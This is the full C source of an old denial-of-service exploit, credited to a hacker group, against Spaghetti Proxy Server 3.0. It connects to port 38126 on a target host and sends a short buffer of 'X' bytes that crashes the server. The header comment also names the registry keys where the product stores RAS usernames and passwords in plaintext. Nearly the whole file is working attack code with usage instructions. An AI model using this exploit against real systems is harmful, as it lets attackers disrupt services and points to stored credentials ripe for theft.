/* sps3.c - Spaghetti Proxy Server 3.0 DoS attack (c) Chopsui-cide/MmM '00 The Mad Midget Mafia - http://midgets.box.sk/ Spaghetti Proxy Server claims to offer "complete security". In reality, it does the exact opposite. As well as being vulnerable to a rather simple bug, it stores your RAS username and password in plaintext in the registry keys: HKEY_LOCAL_MACHINE\SOFTWARE\aVirt\Gateway Home\3.0\RAS\RASPassword and HKEY_LOCAL_MACHINE\SOFTWARE\aVirt\Gateway Home\3.0\RAS\RASUserName This simple program will cause SPS to crash. It does not appear as though arbitrary code could be execute using this vulnerability. Usage: sps3 */ #include #include #define PORT 38126 #define LEN 33 void fatal_error(char *message); int connect_sock(int sock, char *host, int port); int create_sock(); main(int argc, char *argv[]) { WSADATA wsaData; WORD wVersionRequested; int sock; char str[LEN]; if (argc < 2) { printf("Usage: sps3 \n"); exit(0); } wVersionRequested = MAKEWORD(1, 1); if (WSAStartup(wVersionRequested, &wsaData) < 0) fatal_error("Unable to initialise Winsock."); if ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == INVALID_SOCKET) fatal_error("Unable to create socket."); connect_sock(sock, argv[1], PORT); memset(str, 'X', LEN); send(sock, str, LEN, 0); Sleep(5000); // This may obviously have to be increased. closesocket(sock); printf("Done\n"); } int connect_sock(int sock, char *host, int port) { struct sockaddr_in addr; struct hostent *he; memset(&addr, '0', sizeof(addr)); addr.sin_family = AF_INET; addr.sin_addr.s_addr = inet_addr(host); addr.sin_port = htons(port); if ((he = gethostbyname(host)) != NULL) memcpy((char *)&addr.sin_addr, he->h_addr, he->h_length); else if ((addr.sin_addr.s_addr = inet_addr(host)) == -1) fatal_error("Invalid host."); if (connect(sock, (struct sockaddr_in *)&addr, 16) == -1) fatal_error("Error connecting."); printf("Connected to %s:%d\n", host, port); return 0; } void fatal_error(char *message) { printf("Fatal error: %s\n", message); exit(1); }

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